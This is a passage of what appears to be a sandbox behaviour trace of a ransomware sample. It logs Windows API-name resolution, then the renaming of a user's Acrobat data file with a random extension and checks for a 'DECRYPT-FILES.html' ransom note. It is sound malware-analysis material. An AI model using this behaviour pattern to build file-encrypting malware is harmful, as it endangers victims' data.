(lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0075.867] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0075.867] lstrlenA (lpString="CREATEEVENTA") returned 12 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0075.867] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0075.867] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0075.867] lstrlenA (lpString="CREATEEVENTW") returned 12 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0075.867] lstrlenA (lpString="CREATEFIBER") returned 11 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0075.867] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0075.867] lstrlenA (lpString="CREATEFILEA") returned 11 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0075.868] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0075.868] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0075.868] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0075.868] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0075.868] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0075.868] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0075.868] lstrlenA (lpString="CREATEFILEW") returned 11 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0075.868] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0075.868] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0075.868] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0075.868] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0075.868] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0075.868] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0075.868] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0075.868] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0075.868] lstrlenA (lpString="CREATEJOBSET") returned 12 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0075.869] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0075.869] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0075.869] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0075.869] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0075.869] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0075.869] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0075.869] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0075.869] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0075.869] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0075.869] lstrlenA (lpString="CREATEPIPE") returned 10 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0075.869] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0075.869] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0075.869] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0075.869] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0075.869] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0075.869] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0075.870] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0075.870] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0075.870] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0075.870] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0075.870] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0075.870] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0075.870] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0075.870] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0075.870] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0075.870] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0075.870] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0075.870] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0075.870] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0075.870] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0075.870] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0075.870] lstrlenA (lpString="CREATETHREAD") returned 12 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0075.871] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0075.871] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0075.871] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0075.871] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0075.871] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0075.871] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0075.871] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0075.871] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0075.871] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0075.871] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0075.871] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0075.871] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0075.871] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0075.871] lstrlenA (lpString="CTRLROUTINE") returned 11 [0075.871] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0075.872] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0075.872] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0075.872] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0075.872] lstrlenA (lpString="DEBUGBREAK") returned 10 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0075.872] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0075.872] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0075.872] lstrlenA (lpString="DECODEPOINTER") returned 13 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0075.872] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0075.872] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0075.872] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0075.872] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0075.872] lstrlenA (lpString="DELETEATOM") returned 10 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0075.872] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0075.872] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0075.872] lstrlenA (lpString="DELETEFIBER") returned 11 [0075.872] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0075.873] lstrlenA (lpString="DELETEFILEA") returned 11 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0075.873] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0075.873] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0075.873] lstrlenA (lpString="DELETEFILEW") returned 11 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0075.873] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0075.873] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0075.873] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0075.873] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0075.873] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0075.873] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0075.873] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0075.873] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0075.873] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0075.873] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0075.873] lstrcpyA (in: lpString1=0x321cec8, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0075.874] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0075.874] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0075.874] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0075.874] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0075.874] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0075.874] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0075.874] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0075.874] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0075.874] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0075.874] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0075.874] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0075.874] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0075.874] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0075.874] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0075.874] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0075.874] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0075.875] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0075.875] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0075.875] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0075.875] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0075.875] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0075.875] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0075.875] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0075.875] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0075.875] lstrcpyA (in: lpString1=0x321cec8, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0075.875] lstrcpyW (in: lpString1=0x2fa0000, lpString2="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" | out: lpString1="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890" [0075.875] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents") returned 79 [0075.875] wsprintfW (in: param_1=0x321db80, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.6PFi") returned 84 [0075.876] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.6PFi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.6pfi"), dwFlags=0x0) returned 1 [0075.876] VirtualFree (lpAddress=0x2f80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.877] VirtualFree (lpAddress=0x2fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.877] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.877] FindNextFileW (in: hFindFile=0x66d318, lpFindFileData=0x321ebb0 | out: lpFindFileData=0x321ebb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe99341f0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x12ea5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0075.877] lstrcmpiW (lpString1="UserCache.bin", lpString2="DECRYPT-FILES.html") returned 1 [0075.877] 